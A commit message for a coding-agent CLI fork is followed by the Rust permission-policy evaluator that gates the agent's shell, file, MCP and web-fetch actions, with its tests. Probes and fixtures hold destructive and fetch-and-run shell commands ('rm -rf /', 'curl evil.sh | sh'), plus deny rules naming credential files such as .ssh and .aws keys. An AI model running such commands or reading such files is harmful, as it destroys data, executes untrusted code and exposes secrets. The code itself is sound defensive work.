M0: compilable skeleton — Kigi 0.1.0 fork surgery

Hard fork of xai-org/grok-build (Apache-2.0) re-targeted as Kigi, an
unofficial Kimi Code CLI community build.

Rename & identity
- 72 xai-*/xai-grok-* crates -> kigi-* (explicit: xai-grok-pager-bin ->
  kigi-bin [binary `kigi`], xai-grok-pager -> kigi-tui; rest mechanical);
  ptyctl, ptyctl-cli, third_party/ unchanged; proto package
  xai.grok.tools.v1 -> kigi.tools.v1
- Config home ~/.kigi (KIGI_SHARE_DIR override), env prefix GROK_* ->
  KIGI_*, `kigi --version` carries the unofficial-community-build notice
- clap identity, help text, startup banner, prompt templates rebranded
  (templates re-encrypted)

Deletions (PRD removal list #5/#6/#7/#9/#10)
- voice input (xai-grok-voice) and all TUI wiring
- telemetry: Mixpanel client, external OTel stream, Sentry, OTLP layers,
  trace/GCS/S3 upload queues (kigi-file-utils halved), workspace upload
  module & dc_log, heap-profile uploader, auth-diagnostics uploader,
  session-analytics halves of feedback; local zero-egress observability
  preserved in new kigi-log crate (unified log, --debug firehose,
  subsystem file logs, opt-in instrumentation)
- announcements (crate, remote-settings fields, TUI surfaces)
- plugin marketplace (crate, sources/browse/CTA/extensions-modal tab);
  direct plugin install/uninstall/update via kigi-agent git_install kept
- relay/gateway/assets endpoints and features (agent relay, headless
  relay transport, gateway bridge, LeaderEnvUrls); leader IPC socket now
  ~/.kigi/leader.sock + KIGI_LEADER_SOCKET, no ws-url derivation
- functional types rehomed instead of deleted: PermissionMode ->
  kigi-config-types, McpInitStrategy -> kigi-mcp, PrCreationSource ->
  session signals, TerminalDiagnostics -> kigi-pager-render, agent_id ->
  shell util

Endpoints
- kigi-env rewritten: single production KigiEndpoints {coding_api_base_url
  https://api.kimi.com/coding/v1 (KIGI_CODE_BASE_URL), oauth_host
  https://auth.kimi.com (KIGI_OAUTH_HOST), update_base_url (GitHub
  Releases API), upgrade_page_url}; GrokBuildEnvironment enum deleted

Toolchain & workspace hygiene
- Rust 1.97.0 pinned; edition 2024; full cargo update; git2 hoisted to
  workspace at 0.21 (Option->Result API migration), quick-xml 0.41
- Root Cargo.toml hand-maintained (PRD §8.1): version 0.1.0 inherited by
  all members, members sorted, unused deps pruned
- cargo-deny advisories gate (deny.toml with documented transitive
  exceptions); CI workflow (check/clippy/fmt/deny/test, macOS+Linux)
- cross-crate test seams re-gated behind `test-support` cargo feature;
  insta snapshot baselines renamed to the kigi_tui prefix
- clippy --workspace --all-targets: zero warnings; fmt clean

Fixes surfaced by the port
- updater probe/installer divergence (bin/kigi vs bin/grok symlink set)
- idle model-metadata refresh dead under KIGI_CODE_BASE_URL override
  (new is_effective_coding_endpoint_url, loopback+override aware)
- macOS symlinked-TMPDIR fixture canonicalization (foreign_sessions,
  fast-worktree); RSS measurement tests serialized via serial_test

Docs & legal (Apache §4)
- NOTICE added (upstream attribution + change statement); THIRD-PARTY
  notices sustained; kigi-tools ported-code notices extended; README,
  CONTRIBUTING, SECURITY, AGENTS.md rewritten

Out of scope for M0 (tracked): Kimi auth/inference (M1), search/fetch,
command parity, config import (M2), Computer Hub excision & final
brand-token sweep (M2), distribution & self-update rewrite (M3).
This commit is contained in:
2026-07-17 05:31:01 -04:00
commit d6c20fc13f
2612 changed files with 1353757 additions and 0 deletions
@@ -0,0 +1,878 @@
use crate::permission::bash_command_splitting::{all_commands_from_script, unwrap_wrappers};
use crate::permission::shell_access::combine_decisions;
use crate::permission::types::{
AccessKind, Decision, PatternMode, PermissionConfig, PermissionRule, RuleAction, ToolFilter,
};
use kigi_tools::implementations::grok_build::web_fetch::domain::normalize_domain;
#[derive(Clone, Copy)]
enum MatchContext {
/// `*` respects `/` as a segment boundary; `**` crosses it.
Path,
/// `*` matches any character including `/`.
Freeform,
}
struct CompiledRule<'a> {
rule: &'a PermissionRule,
matcher: Option<&'a glob::Pattern>,
}
/// Permission policy with pre-compiled glob patterns.
pub struct CompiledPolicy {
config: PermissionConfig,
matchers: Vec<Option<glob::Pattern>>,
/// True if any Read/Edit/Any deny/ask rule exists, so the shell file-access
/// gate (`shell_access.rs`) should run. Read by `evaluate_shell_file_access`.
pub(crate) has_file_restrictions: bool,
/// True if any Bash/Any deny/ask rule exists, so the per-segment Bash command
/// gate should run. Read by `evaluate_bash_command_policy`.
has_bash_command_restrictions: bool,
}
impl CompiledPolicy {
pub fn new(config: PermissionConfig) -> Self {
let matchers = config
.rules
.iter()
.map(|rule| {
rule.pattern
.as_deref()
.filter(|p| *p != "*")
.and_then(|p| glob::Pattern::new(p).ok())
})
.collect();
let has_file_restrictions = config.rules.iter().any(|rule| {
matches!(rule.action, RuleAction::Deny | RuleAction::Ask)
&& matches!(
rule.tool,
ToolFilter::Read | ToolFilter::Edit | ToolFilter::Any
)
});
let has_bash_command_restrictions = config.rules.iter().any(|rule| {
matches!(rule.action, RuleAction::Deny | RuleAction::Ask)
&& matches!(rule.tool, ToolFilter::Bash | ToolFilter::Any)
});
Self {
config,
matchers,
has_file_restrictions,
has_bash_command_restrictions,
}
}
/// Evaluate managed Bash/Any deny/ask command rules against every chained
/// segment (wrappers like `timeout`/`env` peeled, `bash -c` scripts recursed
/// into), not just the leading command. Escalation only: returns
/// `Reject`/`Ask`, never `Allow`. A script that can't be decomposed fails
/// closed to `Ask` rather than falling through.
pub fn evaluate_bash_command_policy(&self, cmd: &str) -> Option<Decision> {
if !self.has_bash_command_restrictions {
return None;
}
self.evaluate_bash_command_segments(cmd, 0)
}
fn evaluate_bash_command_segments(&self, cmd: &str, depth: usize) -> Option<Decision> {
// Far deeper than legitimate `bash -c` nesting; fail closed rather than
// let an over-nested script run unevaluated.
if depth >= 8 {
return Some(Decision::Ask);
}
let Some(segments) = all_commands_from_script(cmd) else {
return Some(Decision::Ask);
};
let escalate = |segment: &str| match self.evaluate(&AccessKind::Bash(segment.to_owned())) {
Some(Decision::Allow) | None => None,
other => other,
};
let mut decision = None;
for parsed in &segments {
let raw_words = parsed.words();
let unwrapped = unwrap_wrappers(raw_words);
// Rules may target the wrapper or the wrapped program, so both forms
// are checked — but only once when nothing was peeled.
let forms = std::iter::once(raw_words)
.chain((unwrapped.len() != raw_words.len()).then_some(unwrapped));
for words in forms {
decision = combine_decisions(decision, escalate(&words.join(" ")));
if let Some(inner) = shell_dash_c_script(words) {
decision = combine_decisions(
decision,
self.evaluate_bash_command_segments(inner, depth + 1),
);
}
}
}
decision
}
/// Evaluate using deny > ask > allow precedence (order-independent).
pub fn evaluate(&self, access: &AccessKind) -> Option<Decision> {
let mut matched_ask = false;
let mut matched_allow = false;
for (rule, matcher) in self.config.rules.iter().zip(&self.matchers) {
if !tool_filter_matches(access, &rule.tool) {
continue;
}
let cr = CompiledRule {
rule,
matcher: matcher.as_ref(),
};
if !pattern_matches(access, &cr) {
continue;
}
match rule.action {
RuleAction::Deny => {
let tool_label = match &rule.tool {
ToolFilter::Any => "any tool",
ToolFilter::Bash => "bash",
ToolFilter::Edit => "edit",
ToolFilter::Read => "read",
ToolFilter::Grep => "grep",
ToolFilter::Mcp => "mcp",
ToolFilter::WebFetch => "web_fetch",
ToolFilter::WebSearch => "web_search",
};
let reason = match &rule.pattern {
Some(pattern) => format!(
"Denied by permission policy: deny rule on {tool_label} matching \"{pattern}\""
),
None => format!("Denied by permission policy: deny rule on {tool_label}"),
};
return Some(Decision::Reject(reason));
}
RuleAction::Ask => matched_ask = true,
RuleAction::Allow => matched_allow = true,
}
}
if matched_ask {
return Some(Decision::Ask);
}
if matched_allow {
return Some(Decision::Allow);
}
None
}
}
impl From<PermissionConfig> for CompiledPolicy {
fn from(config: PermissionConfig) -> Self {
Self::new(config)
}
}
/// The inner script string of a `bash -c "<script>"` invocation (also `sh`,
/// `dash`, `zsh`, `ksh`); `None` if the words are not such an invocation.
/// Known residuals: option arguments (`-o pipefail`) and `+`-option words can
/// mis-take the operand — escalation-only so a miss never allows; skipping `+…` would add a dodge.
fn shell_dash_c_script(words: &[String]) -> Option<&str> {
let program = words.first()?.rsplit(['/', '\\']).next()?;
if !matches!(program, "bash" | "sh" | "dash" | "zsh" | "ksh") {
return None;
}
let flag = words
.iter()
.skip(1)
.position(|w| w.starts_with('-') && !w.starts_with("--") && w.contains('c'))?;
// The script is the first operand after the `-c` cluster, not necessarily
// the next word: more options may sit in between (`bash -c -x 'id'`), and
// `--` / a lone `-` end option parsing with the operand following.
let mut rest = words.get(flag + 2..)?.iter();
while let Some(word) = rest.next() {
if matches!(word.as_str(), "--" | "-") {
return rest.next().map(String::as_str);
}
if !word.starts_with('-') {
return Some(word.as_str());
}
}
None
}
fn tool_filter_matches(access: &AccessKind, filter: &ToolFilter) -> bool {
match filter {
ToolFilter::Any => true,
ToolFilter::Bash => matches!(access, AccessKind::Bash(_)),
ToolFilter::Edit => matches!(access, AccessKind::Edit(_)),
// A Read rule also governs the Grep tool: grep reads file contents, so a
// managed `Read` deny/ask on a path must block grepping that same path —
// otherwise grep is a read-bypass. Grep-specific rules still use `Grep`.
ToolFilter::Read => matches!(access, AccessKind::Read(_) | AccessKind::Grep { .. }),
ToolFilter::Grep => matches!(access, AccessKind::Grep { .. }),
ToolFilter::Mcp => matches!(access, AccessKind::MCPTool { .. }),
ToolFilter::WebFetch => matches!(access, AccessKind::WebFetch(_)),
ToolFilter::WebSearch => matches!(access, AccessKind::WebSearch(_)),
}
}
fn pattern_matches(access: &AccessKind, cr: &CompiledRule<'_>) -> bool {
let pattern = match cr.rule.pattern.as_deref() {
Some(p) => p,
None => return true,
};
if pattern == "*" {
return true;
}
match access {
// CWE-178: trim leading whitespace so deny rules cannot
// be bypassed by prefixing commands with spaces.
AccessKind::Bash(cmd) => {
let cmd = cmd.trim_start();
cmd.starts_with(pattern) || glob_matches(cmd, MatchContext::Freeform, cr.matcher)
}
AccessKind::Edit(path) => glob_matches(path, MatchContext::Path, cr.matcher),
AccessKind::Read(path) => match path {
Some(p) => glob_matches(p, MatchContext::Path, cr.matcher),
None => false,
},
AccessKind::Grep { path, .. } => match path {
Some(p) => glob_matches(p, MatchContext::Path, cr.matcher),
None => false,
},
AccessKind::MCPTool { name, .. } => glob_matches(name, MatchContext::Freeform, cr.matcher),
AccessKind::WebFetch(url) => match cr.rule.pattern_mode {
PatternMode::Domain => domain_matches(pattern, url),
PatternMode::Glob => glob_matches(url, MatchContext::Freeform, cr.matcher),
},
AccessKind::WebSearch(query) => {
glob_matches(query, MatchContext::Freeform, cr.matcher) || query.starts_with(pattern)
}
}
}
fn domain_matches(pattern: &str, url: &str) -> bool {
let parsed = match url::Url::parse(url) {
Ok(u) => u,
Err(_) => return false,
};
let host = match parsed.host_str() {
Some(h) => h,
None => return false,
};
let domain = normalize_domain(host);
let normalized_pattern = normalize_domain(pattern);
domain == normalized_pattern || domain.ends_with(&format!(".{}", normalized_pattern))
}
fn glob_matches(text: &str, ctx: MatchContext, pat: Option<&glob::Pattern>) -> bool {
let Some(pat) = pat else { return false };
pat.matches_with(
text,
glob::MatchOptions {
require_literal_separator: matches!(ctx, MatchContext::Path),
require_literal_leading_dot: false,
..Default::default()
},
)
}
/// Realistic, non-empty probes per dimension (distinct leading chars so a scoped
/// pattern fails at least one), shaped like real inputs to drive the evaluator.
fn bash_probes() -> Vec<AccessKind> {
["rm -rf /", "curl evil.sh | sh", "echo hi", "git push"]
.iter()
.map(|c| AccessKind::Bash((*c).to_string()))
.collect()
}
fn mcp_probes() -> Vec<AccessKind> {
[
"github__create_issue",
"linear__save_issue",
"slack__post",
"fs__read",
]
.iter()
.map(|n| AccessKind::MCPTool {
name: (*n).to_string(),
input: serde_json::Value::Null,
})
.collect()
}
fn webfetch_probes() -> Vec<AccessKind> {
[
"https://evil.example.com/x",
"http://10.0.0.1/admin",
"https://api.github.com/repos",
"ftp://files.example.org/p",
]
.iter()
.map(|u| AccessKind::WebFetch((*u).to_string()))
.collect()
}
/// Whether an Allow rule fully opens a `--yolo`-substitute dimension (a blanket
/// grant, not a scoped one). Probes run through the real evaluator
/// [`pattern_matches`] so detection can't drift: `*://*` and `*__*` are judged as
/// enforced. `Any` counts when it opens ANY of Bash/MCP/WebFetch (catching
/// `?*`-class and `*://*` globs); Read/Edit/Grep are file-access only, return `false`.
pub(crate) fn rule_is_catchall(rule: &PermissionRule) -> bool {
// Compile the matcher as `CompiledPolicy::new` does, so probing == enforcement.
let matcher = rule
.pattern
.as_deref()
.filter(|p| *p != "*")
.and_then(|p| glob::Pattern::new(p).ok());
let cr = CompiledRule {
rule,
matcher: matcher.as_ref(),
};
let opens_all = |probes: Vec<AccessKind>| probes.iter().all(|a| pattern_matches(a, &cr));
match rule.tool {
ToolFilter::Bash => opens_all(bash_probes()),
ToolFilter::Mcp => opens_all(mcp_probes()),
ToolFilter::WebFetch => opens_all(webfetch_probes()),
ToolFilter::Any => {
opens_all(bash_probes()) || opens_all(mcp_probes()) || opens_all(webfetch_probes())
}
ToolFilter::Read | ToolFilter::Edit | ToolFilter::Grep | ToolFilter::WebSearch => false,
}
}
#[cfg(test)]
mod tests {
use super::*;
use crate::permission::types::PermissionRule;
// ── pattern_matches tests ─────────────────────────────────────────────
fn rule_for(pattern: &str) -> PermissionRule {
PermissionRule {
action: RuleAction::Allow,
tool: ToolFilter::Any,
pattern: Some(pattern.to_string()),
pattern_mode: PatternMode::Glob,
}
}
fn domain_rule(pattern: &str) -> PermissionRule {
PermissionRule {
action: RuleAction::Allow,
tool: ToolFilter::WebFetch,
pattern: Some(pattern.to_string()),
pattern_mode: PatternMode::Domain,
}
}
fn matches(access: &AccessKind, rule: &PermissionRule) -> bool {
let policy = CompiledPolicy::new(PermissionConfig::new(vec![rule.clone()]));
let cr = CompiledRule {
rule: &policy.config.rules[0],
matcher: policy.matchers[0].as_ref(),
};
pattern_matches(access, &cr)
}
#[test]
fn test_bash_pattern_matching() {
let access = AccessKind::Bash("npm install".to_string());
assert!(matches(&access, &rule_for("npm*")));
assert!(matches(&access, &rule_for("npm install")));
assert!(!matches(&access, &rule_for("cargo*")));
}
#[test]
fn rule_is_catchall_shares_the_evaluator() {
let rule = |tool: ToolFilter, pattern: Option<&str>, mode: PatternMode| PermissionRule {
action: RuleAction::Allow,
tool,
pattern: pattern.map(str::to_string),
pattern_mode: mode,
};
let glob = |tool: ToolFilter, p: Option<&str>| rule(tool, p, PatternMode::Glob);
// Bare / universal / prefix-regime globs are catch-alls in every
// substitute dimension, including `Any` (commands, MCP names, URLs, paths).
for tool in [
ToolFilter::Bash,
ToolFilter::Mcp,
ToolFilter::WebFetch,
ToolFilter::Any,
] {
assert!(rule_is_catchall(&glob(tool.clone(), None)), "{tool:?} bare");
assert!(
rule_is_catchall(&glob(tool.clone(), Some("*"))),
"{tool:?} *"
);
assert!(
rule_is_catchall(&glob(tool.clone(), Some("**"))),
"{tool:?} **"
);
// `?*` matches every non-empty input — the prefix-regime gap the old
// empty-string probe missed, now closed for `Any` too.
assert!(
rule_is_catchall(&glob(tool.clone(), Some("?*"))),
"{tool:?} ?*"
);
}
// `Any(**/*)` is also universal (preserves the old Any-detector case).
assert!(rule_is_catchall(&glob(ToolFilter::Any, Some("**/*"))));
// Shape-specific catch-alls a bash-shaped probe missed, judged via the
// real matcher.
assert!(rule_is_catchall(&glob(ToolFilter::WebFetch, Some("*://*"))));
assert!(rule_is_catchall(&glob(ToolFilter::Mcp, Some("*__*"))));
// `Any` also counts when it fully opens a single dimension (all web).
assert!(rule_is_catchall(&glob(ToolFilter::Any, Some("*://*"))));
// Scoped grants survive in every dimension; for `Any`, a pattern scoped
// to one regime fails the others' probes.
assert!(!rule_is_catchall(&glob(ToolFilter::Bash, Some("git *"))));
assert!(!rule_is_catchall(&glob(ToolFilter::Bash, Some("npm*"))));
assert!(!rule_is_catchall(&glob(ToolFilter::Mcp, Some("github__*"))));
assert!(!rule_is_catchall(&glob(
ToolFilter::WebFetch,
Some("https://api.example.com/*")
)));
assert!(!rule_is_catchall(&glob(ToolFilter::Any, Some("src/**"))));
assert!(!rule_is_catchall(&glob(ToolFilter::Any, Some("git *"))));
// Domain mode is judged by the real domain matcher: one domain is scoped.
assert!(!rule_is_catchall(&rule(
ToolFilter::WebFetch,
Some("evil.example.com"),
PatternMode::Domain
)));
// Read/Edit/Grep are file-access only: never a `--yolo`-substitute catch-all.
assert!(!rule_is_catchall(&glob(ToolFilter::Read, Some("**"))));
assert!(!rule_is_catchall(&glob(ToolFilter::Edit, Some("*"))));
}
#[test]
fn test_edit_path_mode() {
// * doesn't cross / in path mode; ** does
let access = AccessKind::Edit("/path/to/file.rs".to_string());
assert!(!matches(&access, &rule_for("/path*")));
assert!(matches(&access, &rule_for("/path/**")));
assert!(matches(&access, &rule_for("/path/**/file.rs")));
assert!(matches(&access, &rule_for("**/*.rs")));
}
#[test]
fn test_web_fetch_domain_matching() {
let access = AccessKind::WebFetch("https://api.example.com/v1/data".to_string());
assert!(matches(&access, &domain_rule("example.com")));
assert!(matches(&access, &domain_rule("api.example.com")));
assert!(!matches(&access, &domain_rule("other.com")));
// www. normalization
let www = AccessKind::WebFetch("https://www.example.com/page".to_string());
assert!(matches(&www, &domain_rule("example.com")));
}
#[test]
fn test_none_and_wildcard_patterns() {
// None pattern = match all (used by bare tool rules like "Bash" with no specifier)
let none_rule = PermissionRule {
action: RuleAction::Allow,
tool: ToolFilter::Any,
pattern: None,
pattern_mode: PatternMode::Glob,
};
assert!(matches(&AccessKind::Bash("anything".into()), &none_rule));
assert!(matches(&AccessKind::Read(None), &none_rule));
// Read(None) should not match a specific pattern
assert!(!matches(&AccessKind::Read(None), &rule_for("src/*")));
}
// ── tool_filter_matches tests ──────────────────────────────────────────
#[test]
fn test_tool_filter_any() {
assert!(tool_filter_matches(
&AccessKind::Bash("x".into()),
&ToolFilter::Any
));
assert!(tool_filter_matches(
&AccessKind::Edit("x".into()),
&ToolFilter::Any
));
assert!(tool_filter_matches(
&AccessKind::Read(None),
&ToolFilter::Any
));
}
#[test]
fn test_tool_filter_bash() {
assert!(tool_filter_matches(
&AccessKind::Bash("x".into()),
&ToolFilter::Bash
));
assert!(!tool_filter_matches(
&AccessKind::Edit("x".into()),
&ToolFilter::Bash
));
}
#[test]
fn test_tool_filter_edit() {
assert!(tool_filter_matches(
&AccessKind::Edit("x".into()),
&ToolFilter::Edit
));
assert!(!tool_filter_matches(
&AccessKind::Bash("x".into()),
&ToolFilter::Edit
));
}
#[test]
fn test_tool_filter_read() {
assert!(tool_filter_matches(
&AccessKind::Read(None),
&ToolFilter::Read
));
assert!(!tool_filter_matches(
&AccessKind::Bash("x".into()),
&ToolFilter::Read
));
}
#[test]
fn test_tool_filter_mcp() {
assert!(tool_filter_matches(
&AccessKind::MCPTool {
name: "fs".into(),
input: serde_json::Value::Null,
},
&ToolFilter::Mcp
));
assert!(!tool_filter_matches(
&AccessKind::Read(None),
&ToolFilter::Mcp
));
}
#[test]
fn test_tool_filter_web_fetch() {
assert!(tool_filter_matches(
&AccessKind::WebFetch("https://example.com".into()),
&ToolFilter::WebFetch
));
assert!(!tool_filter_matches(
&AccessKind::Bash("x".into()),
&ToolFilter::WebFetch
));
}
// ── evaluate tests ─────────────────────────────────────────────────────
fn evaluate_policy(access: &AccessKind, config: &PermissionConfig) -> Option<Decision> {
CompiledPolicy::new(config.clone()).evaluate(access)
}
fn bash_rule(action: RuleAction, pattern: &str) -> PermissionRule {
PermissionRule {
action,
tool: ToolFilter::Bash,
pattern: Some(pattern.to_string()),
pattern_mode: PatternMode::Glob,
}
}
#[test]
fn test_evaluate_policy_deny_beats_allow() {
let policy = PermissionConfig::new(vec![
bash_rule(RuleAction::Allow, "*"),
bash_rule(RuleAction::Deny, "rm*"),
]);
let result = evaluate_policy(&AccessKind::Bash("rm -rf /".into()), &policy);
assert!(matches!(result, Some(Decision::Reject(_))));
let result = evaluate_policy(&AccessKind::Bash("ls".into()), &policy);
assert!(matches!(result, Some(Decision::Allow)));
}
#[test]
fn test_evaluate_policy_ask_forces_prompt() {
let policy = PermissionConfig::new(vec![
bash_rule(RuleAction::Allow, "*"),
bash_rule(RuleAction::Ask, "git push*"),
]);
let result = evaluate_policy(&AccessKind::Bash("git push origin main".into()), &policy);
assert!(matches!(result, Some(Decision::Ask)));
let result = evaluate_policy(&AccessKind::Bash("ls".into()), &policy);
assert!(matches!(result, Some(Decision::Allow)));
}
#[test]
fn test_evaluate_policy_deny_beats_ask() {
let policy = PermissionConfig::new(vec![
bash_rule(RuleAction::Ask, "rm*"),
bash_rule(RuleAction::Deny, "rm -rf*"),
]);
let result = evaluate_policy(&AccessKind::Bash("rm -rf /".into()), &policy);
assert!(matches!(result, Some(Decision::Reject(_))));
}
#[test]
fn claude_bash_colon_wildcard_deny_rejects_by_prefix() {
use crate::permission::rules::parse_permission_rule;
// A `Bash(cmd:*)` deny must reject by command prefix, not sit as a dead `cmd:*` glob.
let rule = parse_permission_rule("Bash(sed:*)", RuleAction::Deny).unwrap();
let policy = PermissionConfig::new(vec![rule]);
let result = evaluate_policy(&AccessKind::Bash("sed -n '1,5p' file.txt".into()), &policy);
assert!(matches!(result, Some(Decision::Reject(_))));
// Deliberate superset of upstream word-boundary `:*`: raw prefix also denies `sed-evil`.
assert!(matches!(
evaluate_policy(&AccessKind::Bash("sed-evil".into()), &policy),
Some(Decision::Reject(_))
));
assert!(evaluate_policy(&AccessKind::Bash("ls".into()), &policy).is_none());
}
// ── CompiledPolicy reuse tests ────────────────────────────────────────
#[test]
fn test_compiled_policy_reuse_across_evaluations() {
let compiled = CompiledPolicy::new(PermissionConfig::new(vec![
bash_rule(RuleAction::Allow, "npm*"),
bash_rule(RuleAction::Deny, "rm*"),
bash_rule(RuleAction::Ask, "git push*"),
]));
assert!(matches!(
compiled.evaluate(&AccessKind::Bash("npm test".into())),
Some(Decision::Allow)
));
assert!(matches!(
compiled.evaluate(&AccessKind::Bash("rm -rf /".into())),
Some(Decision::Reject(_))
));
assert!(matches!(
compiled.evaluate(&AccessKind::Bash("git push origin".into())),
Some(Decision::Ask)
));
assert!(
compiled
.evaluate(&AccessKind::Bash("cargo build".into()))
.is_none()
);
}
// ── whitespace prefix bypass regression tests ─────────────────
#[test]
fn test_bash_deny_not_bypassed_by_whitespace_prefix() {
let policy = PermissionConfig::new(vec![bash_rule(RuleAction::Deny, "rm*")]);
let result = evaluate_policy(&AccessKind::Bash(" rm -rf /".into()), &policy);
assert!(matches!(result, Some(Decision::Reject(_))));
let result = evaluate_policy(&AccessKind::Bash("\trm -rf /".into()), &policy);
assert!(matches!(result, Some(Decision::Reject(_))));
}
#[test]
fn test_bash_deny_not_bypassed_by_whitespace_with_glob() {
let policy = PermissionConfig::new(vec![
bash_rule(RuleAction::Deny, "rm*"),
bash_rule(RuleAction::Allow, "*"),
]);
let result = evaluate_policy(&AccessKind::Bash(" rm -rf /".into()), &policy);
assert!(matches!(result, Some(Decision::Reject(_))));
let result = evaluate_policy(&AccessKind::Bash("ls -la".into()), &policy);
assert!(matches!(result, Some(Decision::Allow)));
}
#[test]
fn test_bash_pattern_trims_whitespace() {
let access = AccessKind::Bash(" npm install".to_string());
assert!(matches(&access, &rule_for("npm*")));
assert!(matches(&access, &rule_for("npm install")));
let access = AccessKind::Bash("\t\t rm -rf".to_string());
assert!(matches(&access, &rule_for("rm*")));
}
// ── Deny bypass via shell operators ──────────────────────────────────
#[test]
fn bash_deny_enforced_in_non_leading_command_position() {
let policy = CompiledPolicy::new(PermissionConfig::new(vec![
bash_rule(RuleAction::Allow, "*"),
bash_rule(RuleAction::Deny, "id *"),
bash_rule(RuleAction::Deny, "id"),
]));
// A denied command after an operator / wrapper / `bash -c` must be rejected.
for cmd in [
"echo SAFE && id > M.txt",
"echo SAFE; id > M.txt",
"echo SAFE | cat; id > M.txt",
"timeout 5 id",
"bash -c \"id > M.txt\"",
"bash -c -x \"id > M.txt\"",
"bash -c -- \"id > M.txt\"",
] {
assert!(
matches!(
policy.evaluate_bash_command_policy(cmd),
Some(Decision::Reject(_))
),
"denied command in a non-leading position must be rejected: {cmd}"
);
}
// Scripts that cannot be decomposed must fail closed (prompt), not allow.
for cmd in ["OUT=$(id); echo \"$OUT\" > M.txt", "echo \"`id`\" > M.txt"] {
assert!(
matches!(
policy.evaluate_bash_command_policy(cmd),
Some(Decision::Ask)
),
"an undecomposable script must escalate, not fall through to allow: {cmd}"
);
}
// A clean compound with no denied segment is not escalated.
assert!(
policy
.evaluate_bash_command_policy("echo hi && ls")
.is_none()
);
// With no Bash deny/ask rules the gate is inert.
let no_restrictions = CompiledPolicy::new(PermissionConfig::new(vec![bash_rule(
RuleAction::Allow,
"*",
)]));
assert!(
no_restrictions
.evaluate_bash_command_policy("echo SAFE && id")
.is_none()
);
}
// ── default action tests ──────────────────────────────────────
#[test]
fn test_rule_action_defaults_to_deny() {
assert_eq!(RuleAction::default(), RuleAction::Deny);
}
#[test]
fn test_default_action_rule_denies_access() {
let policy = PermissionConfig::new(vec![PermissionRule {
action: RuleAction::default(),
tool: ToolFilter::Any,
pattern: None,
pattern_mode: PatternMode::Glob,
}]);
let result = evaluate_policy(&AccessKind::Bash("anything".into()), &policy);
assert!(
matches!(result, Some(Decision::Reject(_))),
"Default RuleAction must deny access, not allow it"
);
}
// ── other tests from main ────────────────────────────────────────────
#[test]
fn mcp_tool_respects_deny_policy() {
let policy = PermissionConfig::new(vec![PermissionRule {
action: RuleAction::Deny,
tool: ToolFilter::Mcp,
pattern: Some("evil_tool".into()),
pattern_mode: PatternMode::Glob,
}]);
let result = evaluate_policy(
&AccessKind::MCPTool {
name: "evil_tool".into(),
input: serde_json::Value::Null,
},
&policy,
);
assert!(matches!(result, Some(Decision::Reject(_))));
}
#[test]
fn test_evaluate_policy_glob_edit_rule() {
let policy = PermissionConfig::new(vec![PermissionRule {
action: RuleAction::Allow,
tool: ToolFilter::Edit,
pattern: Some("src/**/*.rs".into()),
pattern_mode: PatternMode::Glob,
}]);
assert!(matches!(
evaluate_policy(&AccessKind::Edit("src/lib.rs".into()), &policy),
Some(Decision::Allow)
));
}
#[test]
fn deny_web_search_does_not_block_read_bash_or_webfetch() {
let policy = PermissionConfig::new(vec![PermissionRule {
action: RuleAction::Deny,
tool: ToolFilter::WebSearch,
pattern: None,
pattern_mode: PatternMode::Glob,
}]);
assert!(matches!(
evaluate_policy(&AccessKind::WebSearch("rust lang".into()), &policy),
Some(Decision::Reject(_))
));
assert!(evaluate_policy(&AccessKind::Read(Some("src/lib.rs".into())), &policy).is_none());
assert!(evaluate_policy(&AccessKind::Bash("ls".into()), &policy).is_none());
assert!(evaluate_policy(&AccessKind::WebFetch("https://x.com".into()), &policy).is_none());
}
#[test]
fn deny_web_fetch_still_blocks_only_webfetch() {
let policy = PermissionConfig::new(vec![PermissionRule {
action: RuleAction::Deny,
tool: ToolFilter::WebFetch,
pattern: None,
pattern_mode: PatternMode::Glob,
}]);
assert!(matches!(
evaluate_policy(&AccessKind::WebFetch("https://x.com".into()), &policy),
Some(Decision::Reject(_))
));
assert!(evaluate_policy(&AccessKind::WebSearch("rust".into()), &policy).is_none());
}
/// The Grep tool reads file contents, so managed `Read` rules must govern it:
/// grepping a denied path is denied, an ask path prompts, and an unrestricted
/// path is unaffected. A recursive grep (no concrete path) matches no path
/// rule — tool-level glob excludes (not the policy) keep traversal safe.
#[test]
fn grep_tool_covered_by_read_rules() {
let read_rule = |action: RuleAction, pattern: &str| PermissionRule {
action,
tool: ToolFilter::Read,
pattern: Some(pattern.to_string()),
pattern_mode: PatternMode::Glob,
};
let config = PermissionConfig::new(vec![
read_rule(RuleAction::Deny, "**/.env"),
read_rule(RuleAction::Deny, "**/*.pem"),
read_rule(RuleAction::Deny, "**/.ssh/**"),
read_rule(RuleAction::Deny, "**/.aws/**"),
read_rule(RuleAction::Ask, "**/secrets/**"),
]);
let grep = |p: &str| AccessKind::Grep {
path: Some(p.to_string()),
glob: None,
};
for denied in [".env", "key.pem", ".ssh/id_rsa", ".aws/credentials"] {
assert!(
matches!(
evaluate_policy(&grep(denied), &config),
Some(Decision::Reject(_))
),
"grep on a Read-denied path must deny: {denied}"
);
}
assert!(matches!(
evaluate_policy(&grep("secrets/value.txt"), &config),
Some(Decision::Ask)
));
assert!(evaluate_policy(&grep("src/main.rs"), &config).is_none());
assert!(
evaluate_policy(
&AccessKind::Grep {
path: None,
glob: None,
},
&config,
)
.is_none()
);
}
}